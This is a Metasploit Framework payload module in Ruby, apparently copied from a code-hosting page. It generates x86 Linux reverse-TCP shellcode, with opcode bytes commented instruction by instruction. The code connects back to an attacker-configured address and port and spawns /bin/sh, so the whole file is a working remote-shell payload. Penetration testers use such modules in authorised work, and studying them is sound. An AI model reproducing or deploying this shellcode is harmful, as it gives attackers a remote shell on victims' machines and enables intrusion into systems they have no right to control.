80 lines
2.8 KiB
Ruby
80 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = 68
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include Msf::Payload::Single
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include Msf::Payload::Linux
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Linux Command Shell, Reverse TCP Inline',
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'Description' => 'Connect back to attacker and spawn a command shell',
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'Author' => ['Ramon de C Valle', 'joev'],
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_X86,
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'Handler' => Msf::Handler::ReverseTcp,
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'Session' => Msf::Sessions::CommandShellUnix
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))
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register_options([
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OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ])
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])
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end
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def generate(_opts = {})
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# pad the shell path to a multiple of 4 with slashes
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shell = datastore['CMD']
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remainder = shell.bytes.length % 4
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if remainder == 0 then remainder = 4 end
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shell_padded = ("/" * (4-remainder)) + shell
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"\x31\xdb" + # xor ebx,ebx
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"\xf7\xe3" + # mul ebx
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"\x53" + # push ebx
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"\x43" + # inc ebx
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"\x53" + # push ebx
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"\x6a\x02" + # push byte +0x2
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"\x89\xe1" + # mov ecx,esp
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"\xb0\x66" + # mov al,0x66 (sys_socketcall)
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"\xcd\x80" + # int 0x80
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"\x93" + # xchg eax,ebx
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"\x59" + # pop ecx
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"\xb0\x3f" + # mov al,0x3f (sys_dup2)
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"\xcd\x80" + # int 0x80
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"\x49" + # dec ecx
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"\x79\xf9" + # jns 0x11
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"\x68" + [IPAddr.new(datastore['LHOST'], Socket::AF_INET).to_i].pack('N') + # push ip addr
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"\x68\x02\x00" + [datastore['LPORT'].to_i].pack('S>') + # push port
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"\x89\xe1" + # mov ecx,esp
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"\xb0\x66" + # mov al,0x66 (sys_socketcall)
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"\x50" + # push eax
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"\x51" + # push ecx
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"\x53" + # push ebx
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"\xb3\x03" + # mov bl,0x3
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"\x89\xe1" + # mov ecx,esp
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"\xcd\x80" + # int 0x80
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"\x52" + # push edx
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# Split shellname into 4-byte words and push them one-by-one
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# on to the stack
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shell_padded.bytes.reverse.each_slice(4).map do |word|
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"\x68" + word.reverse.pack('C*')
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end.join +
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"\x89\xe3" + # mov ebx,esp
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"\x52" + # push edx
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"\x53" + # push ebx
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"\x89\xe1" + # mov ecx,esp
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"\xb0\x0b" + # mov al,0xb (execve)
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"\xcd\x80" # int 0x80
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end
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end
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